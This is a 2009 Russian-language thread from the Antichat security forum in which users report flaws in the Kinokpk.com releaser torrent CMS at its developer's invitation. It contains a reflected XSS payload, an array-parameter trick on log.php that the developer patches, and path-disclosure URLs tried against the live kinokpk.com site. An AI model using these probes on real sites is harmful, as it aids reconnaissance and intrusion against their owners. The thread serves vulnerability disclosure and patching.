Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Kinokpk.com releaser (https://forum.antichat.xyz/showthread.php?t=137220)

vano793 25.08.2009 12:09
Kinokpk.com releaser
 
Вот ты ZonD80 просил найти пусть ищют дальше :D
Я начну с 1-ой :)
PHP код:
testport.php?port=><script>alert(/Hi/)</script> 
Такая же и на TBDev

HAXTA4OK 25.08.2009 12:17
читай все страницы и ты найдеш что в TBDev http://forum.antichat.net/threadnav79705-18-10.html я уже кидал про xss эту

но раз другой двиг (уже с убранными дырами тебе +)

vano793 25.08.2009 12:18
Цитата:
Сообщение от HAXTA4OK
читай все страницы и ты найдеш что в TBDev http://forum.antichat.net/threadnav79705-18-10.html я уже кидал про xss эту
Я это знаю но на днях ZonD80 просил дыры выложить
У меня стоит его движок 2.70 но там есть дырка :(

Вот что он писал
Цитата:
Сообщение от ZonD80
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.

Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z

vano793 27.08.2009 11:54
Пишу в эту тему так как она есть на Kinokpk.com releaser
Нашол HAXTA4OK
PHP код:
/log.php?type[]= 

ZonD80 31.08.2009 12:30
vano793 ну про тестпорт, это вранье :)

а вот про лог спасибо.

log.php
найти:
Код:
  $type = htmlspecialchars($_GET["type"]);
заменить на:
Код:
  $type = htmlspecialchars((string)$_GET["type"]);

HAXTA4OK 31.08.2009 13:28
Раскрытие путей тебе

http://kinokpk.com/requests.php?id[]=28

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216

http://kinokpk.com/requests.php?action=vote&voteid[]=28

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216


http://kinokpk.com/details.php?id[]=246

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216

http://kinokpk.com/invite.php?id[]=987&type=new

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216

ZonD80 31.08.2009 22:35
HAXTA4OK, на сайте-то может быть и так, тут ищутся дырки движка, а не сайта.

Если хочешь поискать на сайте - ищи на http://www.torrentsbook.com


Время: 22:31